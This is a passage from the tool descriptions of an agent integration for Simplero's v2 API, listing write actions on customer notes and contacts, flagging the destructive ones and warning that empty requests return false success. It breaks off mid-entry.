api. simplero_post_api_v2_customer_notes (write) — Create a note via POST /api/v2/customer_notes. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. POST /api/v1/simplero/api/v2/customer_notes. Scopes: api. simplero_post_api_v2_customer_notes_by_id_actions_add_labels (write) — Add labels (customer notes) via POST /api/v2/customer_notes/{id}/actions/add_labels. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customer_notes/{id}/actions/add_labels. Scopes: api. simplero_post_api_v2_customer_notes_by_id_actions_remove_label (write) — Remove label (customer notes) via POST /api/v2/customer_notes/{id}/actions/remove_label. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customer_notes/{id}/actions/remove_label. Scopes: api. simplero_post_api_v2_customer_notes_by_id_actions_resurrect (write) — Resurrect (customer notes) via POST /api/v2/customer_notes/{id}/actions/resurrect. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/customer_notes/{id}/actions/resurrect. Scopes: api. simplero_post_api_v2_customers (write) — Create a contact via POST /api/v2/customers. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. POST /api/v1/simplero/api/v2/customers. Scopes: api. simplero_post_api_v2_customers_by_id_actions_add_badge (write) — Add engagement badge via POST /api/v2/customers/{id}/actions/add_badge. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/add_badge. Scopes: api. simplero_post_api_v2_customers_by_id_actions_add_tag (write) — Add a tag via POST /api/v2/customers/{id}/actions/add_tag. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/add_tag. Scopes: api. simplero_post_api_v2_customers_by_id_actions_add_to_affiliate_program (write) — Add to affiliate program via POST /api/v2/customers/{id}/actions/add_to_affiliate_program. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/add_to_affiliate_program. Scopes: api. simplero_post_api_v2_customers_by_id_actions_add_to_conversation (write) — Add to conversation (customers) via POST /api/v2/customers/{id}/actions/add_to_conversation. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/add_to_conversation. Scopes: api. simplero_post_api_v2_customers_by_id_actions_add_to_meta_custom_audience (write) — Add to Meta custom audience via POST /api/v2/customers/{id}/actions/add_to_meta_custom_audience. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/add_to_meta_custom_audience. Scopes: api. simplero_post_api_v2_customers_by_id_actions_adjust_lead_score (write) — Adjust lead score via POST /api/v2/customers/{id}/actions/adjust_lead_score. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/adjust_lead_score. Scopes: api. simplero_post_api_v2_customers_by_id_actions_approve_registration_for_an_event (write) — Approve registration for an event via POST /api/v2/customers/{id}/actions/approve_registration_for_an_event. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/approve_registration_for_an_event. Scopes: api. simplero_post_api_v2_customers_by_id_actions_bot_tier_grant (write) — Give access to bot tier via POST /api/v2/customers/{id}/actions/bot_tier_grant. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/bot_tier_grant. Scopes: api. simplero_post_api_v2_customers_by_id_actions_bot_tier_revoke (write, destructive) — Revoke access to bot tier via POST /api/v2/customers/{id}/actions/bot_tier_revoke. Answers {"data": {...}}. DESTRUCTIVE: Revoke access to bot tier. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/bot_tier_revoke. Scopes: api. simplero_post_api_v2_customers_by_id_actions_bulk_purchase (write) — Create paid purchase via POST /api/v2/customers/{id}/actions/bulk_purchase. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/bulk_purchase. Scopes: api. simplero_post_api_v2_customers_by_id_actions_cancel_all_purchases (write, destructive) — Cancel all purchases via POST /api/v2/customers/{id}/actions/cancel_all_purchases. Answers {"data": {...}}. DESTRUCTIVE: Cancel all purchases -- every purchase this contact holds. DESTRUCTIVE: cancels EVERY purchase this contact holds in one call, not a named one. POST /api/v1/simplero/api/v2/customers/{id}/actions/cancel_all_purchases. Scopes: api. simplero_post_api_v2_customers_by_id_actions_cancel_countdown_timer (write) — Cancel countdown timer via POST /api/v2/customers/{id}/actions/cancel_countdown_timer. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/cancel_countdown_timer. Scopes: api. simplero_post_api_v2_customers_by_id_actions_cancel_registration_for_an_event (write, destructive) — Cancel registration for an event (if approved) via POST /api/v2/customers/{id}/actions/cancel_registration_for_an_event. Answers {"data": {...}}. DESTRUCTIVE: Cancel registration for an event (if approved). Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/cancel_registration_for_an_event. Scopes: api. simplero_post_api_v2_customers_by_id_actions_category_grant (write) — Give access to page via POST /api/v2/customers/{id}/actions/category_grant. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/category_grant. Scopes: api. simplero_post_api_v2_customers_by_id_actions_category_revoke (write, destructive) — Revoke access to page via POST /api/v2/customers/{id}/actions/category_revoke. Answers {"data": {...}}. DESTRUCTIVE: Revoke access to page. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/category_revoke. Scopes: api. simplero_post_api_v2_customers_by_id_actions_clean_name (write) — Fix repeating name (e.g. "John Smith Smith") via POST /api/v2/customers/{id}/actions/clean_name. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/customers/{id}/actions/clean_name. Scopes: api. simplero_post_api_v2_customers_by_id_actions_coaching_client_add (write) — Add to coaching program via POST /api/v2/customers/{id}/actions/coaching_client_add. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/coaching_client_add. Scopes: api. simplero_post_api_v2_customers_by_id_actions_continue_automation (write) — Continue automation now via POST /api/v2/customers/{id}/actions/continue_automation. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/continue_automation. Scopes: api. simplero_post_api_v2_customers_by_id_actions_course_grant (write) — Give access to a course via POST /api/v2/customers/{id}/actions/course_grant. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/course_grant. Scopes: api. simplero_post_api_v2_customers_by_id_actions_course_lesson_grant (write) — Give access to a course lesson via POST /api/v2/customers/{id}/actions/course_lesson_grant. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/course_lesson_grant. Scopes: api. simplero_post_api_v2_customers_by_id_actions_course_lesson_revoke (write, destructive) — Revoke access to a course lesson via POST /api/v2/customers/{id}/actions/course_lesson_revoke. Answers {"data": {...}}. DESTRUCTIVE: Revoke access to a course lesson. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/course_lesson_revoke. Scopes: api. simplero_post_api_v2_customers_by_id_actions_course_module_grant (write) — Give access to a course module via POST /api/v2/customers/{id}/actions/course_module_grant. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/course_module_grant. Scopes: api. simplero_post_api_v2_customers_by_id_actions_course_module_revoke (write, destructive) — Revoke access to a course module via POST /api/v2/customers/{id}/actions/course_module_revoke. Answers {"data": {...}}. DESTRUCTIVE: Revoke access to a course module. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/course_module_revoke. Scopes: api. simplero_post_api_v2_customers_by_id_actions_course_revoke (write, destructive) — Revoke access to a course via POST /api/v2/customers/{id}/actions/course_revoke. Answers {"data": {...}}. DESTRUCTIVE: Revoke access to a course. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/course_revoke. Scopes: api. simplero_post_api_v2_customers_by_id_actions_create_deal (write) — Create deal in pipeline via POST /api/v2/customers/{id}/actions/create_deal. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/create_deal. Scopes: api. simplero_post_api_v2_customers_by_id_actions_credit_consume (write) — Consume credits via POST /api/v2/customers/{id}/actions/credit_consume. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/credit_consume. Scopes: api. simplero_post_api_v2_customers_by_id_actions_credit_issue (write) — Issue credits via POST /api/v2/customers/{id}/actions/credit_issue. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/credit_issue. Scopes: api. simplero_post_api_v2_customers_by_id_actions_customer_sms (write) — Send text message via POST /api/v2/customers/{id}/actions/customer_sms. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/customer_sms. Scopes: api. simplero_post_api_v2_customers_by_id_actions_deny_registration_for_an_event (write) — Deny registration for an event (if pending) via POST /api/v2/customers/{id}/actions/deny_registration_for_an_event. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/deny_registration_for_an_event. Scopes: api. simplero_post_api_v2_customers_by_id_actions_deregister_for_all_occurrences (write, destructive) — Cancel registration for all upcoming occurrences of event via POST /api/v2/customers/{id}/actions/deregister_for_all_occurrences. Answers {"data": {...}}. DESTRUCTIVE: Cancel registration for all upcoming occurrences of event. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/deregister_for_all_occurrences. Scopes: api. simplero_post_api_v2_customers_by_id_actions_deregister_for_next_occurrence (write, destructive) — Cancel registration for next upcoming occurrence of event via POST /api/v2/customers/{id}/actions/deregister_for_next_occurrence. Answers {"data": {...}}. DESTRUCTIVE: Cancel registration for next upcoming occurrence of event. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/deregister_for_next_occurrence. Scopes: api. simplero_post_api_v2_customers_by_id_actions_email (write) — Send notification email via POST /api/v2/customers/{id}/actions/email. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/email. Scopes: api. simplero_post_api_v2_customers_by_id_actions_extend_countdown_timer (write) — Extend countdown timer via POST /api/v2/customers/{id}/actions/extend_countdown_timer. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/extend_countdown_timer. Scopes: api. simplero_post_api_v2_customers_by_id_actions_give_consent (write) — Give GDPR consent via POST /api/v2/customers/{id}/actions/give_consent. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/customers/{id}/actions/give_consent. Scopes: api. simplero_post_api_v2_customers_by_id_actions_idea_upvote (write) — Upvote idea via POST /api/v2/customers/{id}/actions/idea_upvote. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/idea_upvote. Scopes: api. simplero_post_api_v2_customers_by_id_actions_interactions (write) — Go to Interactions for Contact via POST /api/v2/customers/{id}/actions/interactions. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/customers/{id}/actions/interactions. Scopes: api. simplero_post_api_v2_customers_by_id_actions_library_mailing (write) — Send email from Library via POST /api/v2/customers/{id}/actions/library_mailing. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/library_mailing. Scopes: api. simplero_post_api_v2_customers_by_id_actions_list_reset_auto_responses (write, destructive) — Reset auto-responses for a list subscriber via POST /api/v2/customers/{id}/actions/list_reset_auto_responses. Answers {"data": {...}}. DESTRUCTIVE: Reset auto-responses for a list subscriber. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/list_reset_auto_responses. Scopes: api. simplero_post_api_v2_customers_by_id_actions_list_resubscribe (write) — Resubscribe to list via POST /api/v2/customers/{id}/actions/list_resubscribe. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/list_resubscribe. Scopes: api. simplero_post_api_v2_customers_by_id_actions_list_subscribe (write) — Subscribe to list via POST /api/v2/customers/{id}/actions/list_subscribe. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/list_subscribe. Scopes: api. simplero_post_api_v2_customers_by_id_actions_list_unsubscribe (write, destructive) — Unsubscribe from list via POST /api/v2/customers/{id}/actions/list_unsubscribe. Answers {"data": {...}}. DESTRUCTIVE: Unsubscribe from list. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/list_unsubscribe. Scopes: api. simplero_post_api_v2_customers_by_id_actions_list_unsubscribe_all (write, destructive) — Unsubscribe from all lists via POST /api/v2/customers/{id}/actions/list_unsubscribe_all. Answers {"data": {...}}. DESTRUCTIVE: Unsubscribe from all lists. POST /api/v1/simplero/api/v2/customers/{id}/actions/list_unsubscribe_all. Scopes: api. simplero_post_api_v2_customers_by_id_actions_mailchimp_subscribe (write) — Subscribe to a list in Mailchimp via POST /api/v2/customers/{id}/actions/mailchimp_subscribe. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/mailchimp_subscribe. Scopes: api. simplero_post_api_v2_customers_by_id_actions_mailchimp_unsubscribe (write, destructive) — Unsubscribe from a list in Mailchimp via POST /api/v2/customers/{id}/actions/mailchimp_unsubscribe. Answers {"data": {...}}. DESTRUCTIVE: Unsubscribe from a list in Mailchimp. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/mailchimp_unsubscribe. Scopes: api. simplero_post_api_v2_customers_by_id_actions_mark_as_archived (write) — Archive Contact via POST /api/v2/customers/{id}/actions/mark_as_archived. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/customers/{id}/actions/mark_as_archived. Scopes: api. simplero_post_api_v2_customers_by_id_actions_mark_as_cold (write) — Mark Contact unengaged via POST /api/v2/customers/{id}/actions/mark_as_cold. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/customers/{id}/actions/mark_as_cold. Scopes: api. simplero_post_api_v2_customers_by_id_actions_mark_as_do_not_contact (write) — Mark as Do Not Contact via POST /api/v2/customers/{id}/actions/mark_as_do_not_contact. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/customers/{id}/actions/mark_as_do_not_contact. Scopes: api. simplero_post_api_v2_customers_by_id_actions_mark_as_email_bounced (write) — Suppress (mark email as bounced) via POST /api/v2/customers/{id}/actions/mark_as_email_bounced. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/customers/{id}/actions/mark_as_email_bounced. Scopes: api. simplero_post_api_v2_customers_by_id_actions_mark_as_unarchived (write) — Unarchive Contact via POST /api/v2/customers/{id}/actions/mark_as_unarchived. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/customers/{id}/actions/mark_as_unarchived. Scopes: api. simplero_post_api_v2_customers_by_id_actions_mark_as_warm (write) — Mark Contact engaged via POST /api/v2/customers/{id}/actions/mark_as_warm. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/customers/{id}/actions/mark_as_warm. Scopes: api. simplero_post_api_v2_customers_by_id_actions_move_deal (write) — Move deal to pipeline stage via POST /api/v2/customers/{id}/actions/move_deal. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/move_deal. Scopes: api. simplero_post_api_v2_customers_by_id_actions_notice (write) — Display notice via POST /api/v2/customers/{id}/actions/notice. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/notice. Scopes: api. simplero_post_api_v2_customers_by_id_actions_page_grant (write) — Give access to a page via POST /api/v2/customers/{id}/actions/page_grant. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/page_grant. Scopes: api. simplero_post_api_v2_customers_by_id_actions_page_revoke (write, destructive) — Revoke access to a page via POST /api/v2/customers/{id}/actions/page_revoke. Answers {"data": {...}}. DESTRUCTIVE: Revoke access to a page. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/page_revoke. Scopes: api. simplero_post_api_v2_customers_by_id_actions_pause_all_automations (write) — Pause all automations for Contact via POST /api/v2/customers/{id}/actions/pause_all_automations. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/customers/{id}/actions/pause_all_automations. Scopes: api. simplero_post_api_v2_customers_by_id_actions_pause_automation (write) — Pause automation via POST /api/v2/customers/{id}/actions/pause_automation. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/pause_automation. Scopes: api. simplero_post_api_v2_customers_by_id_actions_podcast_grant (write) — Give access to podcast via POST /api/v2/customers/{id}/actions/podcast_grant. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/podcast_grant. Scopes: api. simplero_post_api_v2_customers_by_id_actions_podcast_revoke (write, destructive) — Revoke access to podcast via POST /api/v2/customers/{id}/actions/podcast_revoke. Answers {"data": {...}}. DESTRUCTIVE: Revoke access to podcast. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/podcast_revoke. Scopes: api. simplero_post_api_v2_customers_by_id_actions_product_add_paid_purchase (write) — Add paid purchase to a product via POST /api/v2/customers/{id}/actions/product_add_paid_purchase. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/product_add_paid_purchase. Scopes: api. simplero_post_api_v2_customers_by_id_actions_product_auto_renew_off (write) — Turn off auto-renew for existing purchase of product via POST /api/v2/customers/{id}/actions/product_auto_renew_off. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did 